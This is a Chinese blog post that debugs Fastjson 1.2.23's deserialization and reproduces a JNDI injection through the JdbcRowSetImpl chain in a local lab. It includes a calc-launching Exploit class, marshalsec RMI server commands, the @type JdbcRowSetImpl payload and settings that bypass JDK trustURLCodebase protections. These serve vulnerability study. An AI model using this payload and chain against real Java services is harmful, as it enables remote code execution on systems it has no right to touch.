• 一次基于Fastjson的JNDI注入


    1.Fastjson介绍

    Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

    主要特点:
    1.快速FAST (比其它任何基于Java的解析器和生成器更快,包括jackson)
    2.强大(支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum)
    3.零依赖(除了JDK没有依赖其它任何类库)

    2.Fastjson实验环境搭建

    Fastjson版本1.2.23下载地址https://repo1.maven.org/maven2/com/alibaba/fastjson/
    
    https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.23
    
    jdk1.8.151下载地址 :https://repo.huaweicloud.com/java/jdk/8u151-b12/根据系统选择版本
    
    • 1
    • 2
    • 3
    • 4
    • 5

    使用IDEA进行代码调试

    1.使用Idea新建一个项目

    image.png

    1666251426_6350faa2953830e32e77b.png

    【一一帮助安全学习,所有资源一一】
    ①网络安全学习路线
    ②20份渗透测试电子书
    ③安全攻防357页笔记
    ④50份安全攻防面试指南
    ⑤安全红队渗透工具包
    ⑥网络安全必备书籍
    ⑦100个漏洞实战案例
    ⑧安全大厂内部教程

    2.pom.xml中添加FastJson版本依赖

    1666251579_6350fb3bde11f666d44bf.png

    依赖代码如下

    
    
    
    com.alibaba
    fastjson
    1.2.23
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    3.Fastjson简单使用

    1.定义一个User类

    代码如下:里面包含getName(),setName(),getAge(),sestAge()

    public class User {
    private String name;
    private int age;
    
    public User() {}
    
    public User(String name, int age) {
    this.name = name;
    this.age = age;
    }
    
    public String getName() {
    return name;
    }
    
    public void setName(String name) {
            this.name = name;
            System.out.println("setName");
            System.out.println(this.name);
    
    }
    
    public int getAge() {
    return age;
    }
    
    public void setAge(int age) {
            this.age = age;
            System.out.println("setName");
            System.out.println(this.age);
    }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    2.新建一个test类,用于测试执行解析过程

    import com.alibaba.fastjson.*;
    public class test {
    public static void main(String[] argv){
    testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
    String str = "{\"@type\":\"User\",\"name\":\"cmd\"}";
    Object obj1 = JSON.parseObject(str);
    }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    4.Fastjson解析过程调试分析

    调试开始

    在此次设置断点,点击debug开始调试
    1666255467_63510a6b10aecfe880f3b.png

    按f7步入进入pareseObject后再进入parse方法
    image.png

    进入parse方法
    image.png

    进入重载parse方法
    image.png

    跟进DefaultJSONParser构建方法
    image.png

    该类主要是设置一些参数input,config,symbolTable和token。
    image.png

    返回到json类,继续向下执行parser.parse()
    image.png

    根据token=12跳转到该行,跟进new JSONObject
    1666256576_63510ec0d34f602ce9a3f.png

    此处是根据传进来的ordered值去判断使用链表哈希还是哈希。传入值为false所以使用HashMap.
    image.png

    执行完成后返回到case条件中,继续跟进parseObject()
    image.png

    进入判断首字符是否为",然后读取双引号内容为@type赋值为key.
    image.png

    此处判断key是否等于@type,获取需要反序列化类名称,并加载类。
    image.png

    进入loadClass,前面逻辑不满足,一直步入到1032行,加载User类,并将className和clazz存入mapping中
    image.png

    返回到DefaultJSONParser类中继续执行,走到367行,跟进config.getDeserializer方法
    image.png

    进入判断type为Class的实例对象,进入重载的getDeserializer方法。
    image.png

    向下执行到360行,该处获取类名并将$替换为.并判断类名是否在denylist中。denylist只有java.lang.Thread类。继续向下执行。
    image.png

    此处判断clazz是否为num,array等,最终判断到457行,进入关键的createJavaBeanDeserializer方法
    image.png

    跟进createJavaBeanDeserializer,进入一系列判断,执行到522关键代码JavaBeanInfo.build.
    image.png

    image.png

    跟进JavaBeanInfo.build
    image.png

    declaredFields获取变量名,methods获取类方法
    image.png

    向下执行遇到3个for循环。
    image.png

    第一个for循环是用来获得满足条件的set方法
    1函数名长度大于4
    2非静态函数
    3返回类型为void
    4当前类参数个数为1个的方法
    1666268560_63513d9043ff9c50a8202.png

    第二个for循环是用来判断类定义的变量是否在public和static类型或属于Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong类
    1666268669_63513dfd827829107069f.png

    第三个for循环是用来判断满足条件的get方法
    1、方法名长度大于等于4
    2、方法名以get开头
    3、方法名第4个字母为大写
    4、无需传参
    5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

    image.png

    最后满足条件的方法有,setName和setAge
    image.png

    image.png

    在第538行将获取到的方法构建一个JavaBeanInfo并返回。
    image.png

    跳转出JavaBeanInfo类,继续在Parseconfig类中执行
    第533行进入for循环判断beanInfo.fields中的name和age类的类型。
    1666270084_635143849306f4332e21d.png

    继续执行跳转到Parseconfig类第460行最后返回一个Fastjson反序列化器
    image.png

    向下执行跳转到DefaultJSONParser类第368行,跟进deserializer.deserialze方法,由于进入了上一步的反序列化器,这部分代码由于是动态生成的所以无法调试。
    1666514378_6354fdca4a0b1a8702b26.png

    1666514484_6354fe341d97a8a481edd.png

    F8步出,可观察到控制台输入了setName和cmd,这段设置值的过程等会我们通过JdbcRowSetImpl链来分析
    image.png

    小结

    Json.parse()
    image.png

    根据text, ParserConfig.getGlobalInstance(), features创建并初始化DefaultJSONParer解析器。实例参数如图下图
    image.png

    image.png

    DefaultJSONParser.parse()
    根据lexer.token()值进入到case 12,初始化了一个JSONObject对象,并将其储存在Hashmap中
    image.png

    DefaultJSONParser.parseObject()
    image.png

    这里是根据获取到的@type值,进入到TypeUtils.loadClass去加载@type后面跟的类。
    image.png

    TypeUtils.loadClass根据传入的类名去加载类
    image.png

    进入到config.getDeserializer,判断类名是否在denylist中,进入createJavaBeanDeserializer
    image.png

    createJavaBeanDeserializer进入JavaBeanInfo.build,JavaBeanInfo.build主要是获得满足条件的set,get方法。
    image.png

    最后在deserializer.deserialze触发setvalue后使用invoke方法去set值。
    image.png

    5.JdbcRowSetImpl链调用分析

    1.生成恶意类

    `
    
    
    • 1
    • 2
    public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    
    }
    
    public static void main(String[] var0) {
        new Exploit();
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    }`
    将其编译成.class文件,
    操作如下进入到Exploit所在文件夹内,打开控制台,输入javac Exploit.java 即可完成编译。

    2启动相关服务

    启动http
    进入到Exploit所在文件夹内,打开控制台,输入
    python -m http.server 8000我python版本为3
    image.png

    启动RMI
    进入到marshalsec-0.0.3-SNAPSHOT-all.jar所在文件夹内,输入
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
    image.png

    payloadString str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1389/Exploit\",\"autoCommit\":false}";

    RMI利用前提
    JDK 6u132, JDK 7u122, JDK 8u113 之前可用,之后的版本需要在解析payload前加上如下代码
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

    开始调试,我们跳过之前的步骤,直接进入到deserializer.deserialze到parseField下断点
    image.png

    跟进进入到这个函数
    image.png

    继续跟进,进入到setValue中,反射调用setDataSourceName()方法
    image.png
    image.png

    进入JdbcRowSetImpl中setDataSourceName()
    image.png

    返回后继续执行setvalue()方法会去反射调用setAutocommit()
    image.png

    在setAutocommit()中会去调用connect()方法,然后进入到Initialcontext#lookup()触发JNDI注入。
    image.png

    6.参考文章

    Fastjson 反序列化
    FastJson_1.2.24 反序列化漏洞复现+解析

  • 相关阅读:
    Pandas数据分析系列9-数据透视与行列转换
    Jwt介绍
    centos7修改系统运行级别
    自媒体时代,短视频创业是最赚钱的项目
    2022年ICPC网络赛总结
    微机-------输入/输出接口(第六章)
    计算机毕业设计Java教务系统(源码+系统+mysql数据库+lw文档)
    Sping5新功能(单元测试支持junit5)
    直播课堂系统09--腾讯云点播管理模块(一)
    VScode-settings配置文件-插件目录-个人常用配置导出
  • 原文地址:https://blog.csdn.net/kali_Ma/article/details/127680037